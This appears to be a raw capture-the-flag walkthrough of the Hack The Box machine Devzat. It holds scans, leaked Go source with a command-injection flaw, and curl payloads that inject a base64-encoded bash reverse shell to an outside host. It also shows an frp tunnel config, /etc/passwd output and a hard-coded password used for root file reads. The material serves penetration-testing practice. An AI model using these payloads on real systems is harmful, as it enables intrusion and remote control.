└─# nmap 10.10.11.118 -p 22,80,8000 -sC -sV   --min-rate=200 Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-21 01:26 ESTNmap scan report for 10.10.11.118Host is up (0.38s latency).
PORT     STATE SERVICE VERSION22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)80/tcp   open  http    Apache httpd 2.4.41|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Did not follow redirect to http://devzat.htb/8000/tcp open  ssh     (protocol 2.0)| fingerprint-strings: |   NULL: |_    SSH-2.0-Go| ssh-hostkey: |_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port8000-TCP:V=7.92%I=7%D=12/21%Time=61C173B9%P=x86_64-pc-linux-gnu%r(NSF:ULL,C,"SSH-2\.0-Go\r\n");Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 55.89 seconds

[04:17:55] 200 -   17KB - /LICENSE.txt                                      [04:17:56] 200 -  877B  - /README.txt                                       [04:18:40] 301 -  309B  - /assets  ->  http://devzat.htb/assets/            [04:18:40] 200 -    1KB - /assets/[04:19:18] 301 -  309B  - /images  ->  http://devzat.htb/images/            [04:19:18] 200 -    2KB - /images/[04:19:20] 200 -    6KB - /index.html                                       [04:19:23] 301 -  313B  - /javascript  ->  http://devzat.htb/javascript/

CookieMiaChuckBaluGeorgGustavRudiBruno

┌──(root💀kali)-[/tmp/dump]└─# tree.├── 0-464614f32483e1fde60ee53f5d3b4d468d80ff62│   ├── characteristics│   ├── commit-meta.txt│   ├── go.mod│   └── go.sum├── 1-8274d7a547c0c3854c074579dfc359664082a8f6│   ├── characteristics│   ├── commit-meta.txt│   ├── go.mod│   └── go.sum└── 2-ef07a04ebb2fc92cf74a39e0e4b843630666a705    ├── characteristics    ├── commit-meta.txt    ├── go.mod    ├── go.sum    ├── main.go    └── petshop
6 directories, 11 files

package main
import (        "embed"        "encoding/json"        "fmt"        "io/fs"        "io/ioutil"        "log"        "net/http"        "os/exec"        "time")
//go:embed static/publicvar web embed.FS
//go:embed static/public/index.htmlvar index []byte
type Pet struct {        Name            string `json:"name"`        Species         string `json:"species"`        Characteristics string `json:"characteristics"`}
var (        Pets []Pet = []Pet{                {Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},                {Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},                {Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},                {Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},                {Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},                {Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},                {Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},                {Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},        })
func loadCharacter(species string) string {        cmd := exec.Command("sh", "-c", "cat characteristics/"+species)        stdoutStderr, err := cmd.CombinedOutput()        if err != nil {                return err.Error()        }        return string(stdoutStderr)}
func getPets(w http.ResponseWriter, r *http.Request) {        json.NewEncoder(w).Encode(Pets)}
func addPet(w http.ResponseWriter, r *http.Request) {        reqBody, _ := ioutil.ReadAll(r.Body)        var addPet Pet        err := json.Unmarshal(reqBody, &addPet)        if err != nil {                e := fmt.Sprintf("There has been an error: %+v", err)                http.Error(w, e, http.StatusBadRequest)                return        }
        addPet.Characteristics = loadCharacter(addPet.Species)        Pets = append(Pets, addPet)
        w.WriteHeader(http.StatusOK)        fmt.Fprint(w, "Pet was added successfully")}
func handleRequest() {        build, err := fs.Sub(web, "static/public/build")        if err != nil {                panic(err)        }
        css, err := fs.Sub(web, "static/public/css")        if err != nil {                panic(err)        }
        webfonts, err := fs.Sub(web, "static/public/webfonts")        if err != nil {                panic(err)        }
        spaHandler := http.HandlerFunc(spaHandlerFunc)        // Single page application handler        http.Handle("/", headerMiddleware(spaHandler))
        // All static folder handler        http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))        http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))        http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))        http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))
        // API routes        apiHandler := http.HandlerFunc(petHandler)        http.Handle("/api/pet", headerMiddleware(apiHandler))        log.Fatal(http.ListenAndServe("127.0.0.1:5000", nil))}
func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {        w.WriteHeader(http.StatusOK)        w.Write(index)}
func petHandler(w http.ResponseWriter, r *http.Request) {        // Dispatch by method        if r.Method == http.MethodPost {                addPet(w, r)        } else if r.Method == http.MethodGet {                getPets(w, r)
        } else {                http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)        }        // TODO: Add Update and Delete}
func headerMiddleware(next http.Handler) http.Handler {        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {                w.Header().Add("Server", "My genious go pet server")                next.ServeHTTP(w, r)        })}
func main() {        resetTicker := time.NewTicker(5 * time.Second)        done := make(chan bool)
        go func() {                for {                        select {                        case <-done:                                return                        case <-resetTicker.C:                                // Reset Pets to prestaged ones                                Pets = []Pet{                                        {Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},                                        {Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},                                        {Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},                                        {Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},                                        {Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},                                        {Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},                                        {Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},                                        {Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},                                }
                        }                }        }()
        handleRequest()
        time.Sleep(500 * time.Millisecond)        resetTicker.Stop()        done <- true}

main():  handleRequest()    petHandler()      POST -> addHanler()        loadCharacter()           exec.Command()

curl http://pets.devzat.htb/api/pet -X POST --data '{"name":"123","species":"`curl 10.10.14.50/123`"}'

curl http://pets.devzat.htb/api/pet -X POST --data  '{"name":"123","species":"`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTAvNDQ0NCAwPiYxCg== |base64 -d |bash`"}'

root:x:0:0:root:/root:/bin/bashsync:x:4:65534:sync:/bin:/bin/syncpatrick:x:1000:1000:patrick:/home/patrick:/bin/bashcatherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash

[+] Looks like we're hosting Docker:Docker version 20.10.7, build f0df350

$ netstat -antActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address           Foreign Address         State      tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN     tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:49532         127.0.0.1:5000          FIN_WAIT2  tcp        0      0 127.0.0.1:5000          127.0.0.1:49532         CLOSE_WAIT tcp        0      1 10.10.11.118:52254      1.1.1.1:53              SYN_SENT   tcp        0      0 10.10.11.118:47040      10.10.14.50:4444        CLOSE_WAIT tcp        0      0 10.10.11.118:47472      10.10.14.50:4444        ESTABLISHEDtcp6       0      0 :::80                   :::*                    LISTEN     tcp6       0      0 :::22                   :::*                    LISTEN     tcp6       0      0 :::8000                 :::*                    LISTEN

cat << EOF >3.txt[common]server_addr = 10.10.14.50server_port = 7000
[ssh]type = tcplocal_ip = 127.0.0.1local_port = 8086remote_port = 6000

nmap 172.16.0.4 -sV -p 6000Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-22 23:49 ?D1ú±ê×?ê±??Nmap scan report for 172.16.0.4Host is up (0.00s latency).
PORT     STATE SERVICE VERSION6000/tcp open  http    InfluxDB http admin 1.7.5MAC Address: 00:0C:29:E9:FA:DE (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds

catherine@devzat:/var/backups$ ls -alls -altotal 1132drwxr-xr-x 2 root     root       4096 Dec 23 06:25 .drwxr-xr-x 14 root     root       4096 Jun 22 2021 ..-rw-r--r-- 1 root     root       51200 Dec 23 06:25 alternatives.tar.0-rw-r--r-- 1 root     root       59142 Sep 28 18:45 apt.extended_states.0-rw-r--r-- 1 root     root       6588 Sep 21 20:17 apt.extended_states.1.gz-rw-r--r-- 1 root     root       6602 Jul 16 06:41 apt.extended_states.2.gz-rw------- 1 catherine catherine 28297 Jul 16 07:00 devzat-dev.zip-rw------- 1 catherine catherine 27567 Jul 16 07:00 devzat-main.zip-rw-r--r-- 1 root     root         268 Sep 29 11:46 dpkg.diversions.0-rw-r--r-- 1 root     root         170 Jul 16 06:41 dpkg.statoverride.0-rw-r--r-- 1 root     root     951869 Sep 28 18:45 dpkg.status.0

catherine@devzat:/tmp/dev$ grep -iR passgrep -iR passdevchat.go:             u.writeln("patrick", "That's perfectly fine :thumbs_up: You'll need a password which you can gather from the source. I left it in our default backups location.")commands.go:           u.system("Please provide file to print and the password")commands.go:           u.system("You need to provide the correct password to use this function")commands.go:   pass := args[1]commands.go:   // Check my secure passwordcommands.go:   if pass != "CeilingCatStillAThingIn2021?" {commands.go:           u.system("You did provide the wrong password")testfile.txt:Through me you pass into the city of woe:testfile.txt:Through me you pass into eternal pain:

func fileCommand(u *user, args []string) {  if len(args) < 1 {    u.system("Please provide file to print and the password")    return  }
  if len(args) < 2 {    u.system("You need to provide the correct password to use this function")    return  }
  path := args[0]  pass := args[1]
  // Check my secure password  if pass != "CeilingCatStillAThingIn2021?" {    u.system("You did provide the wrong password")    return  }
  // Get CWD 获取目录  cwd, err := os.Getwd()
  if err != nil {    u.system(err.Error())  }
  // Construct path to print 拼接路径  printPath := filepath.Join(cwd, path)
  // Check if file exists 检查文件是否存在  if _, err := os.Stat(printPath); err == nil {    // exists, print    file, err := os.Open(printPath)//打开文件    if err != nil {      u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))      return    }    defer file.Close()//go 语言特性：defer 存在的函数或语句最后执行    //go中文件读取操作，由于服务是使用root启动的，可以读取root权限的文件。    scanner := bufio.NewScanner(file)    for scanner.Scan() {      u.system(scanner.Text())//    }
    if err := scanner.Err(); err != nil {      u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))    }
    return
  } else if os.IsNotExist(err) {    // does not exist, print error    u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))    return  }  // bokred?  u.system("Something went badly wrong.")}func (u *user) system(message string) {//输出函数  u.term.Write([]byte(red.Paint("[SYSTEM] ") + mdRender(message, 9, u.win.Width) + "\n"))}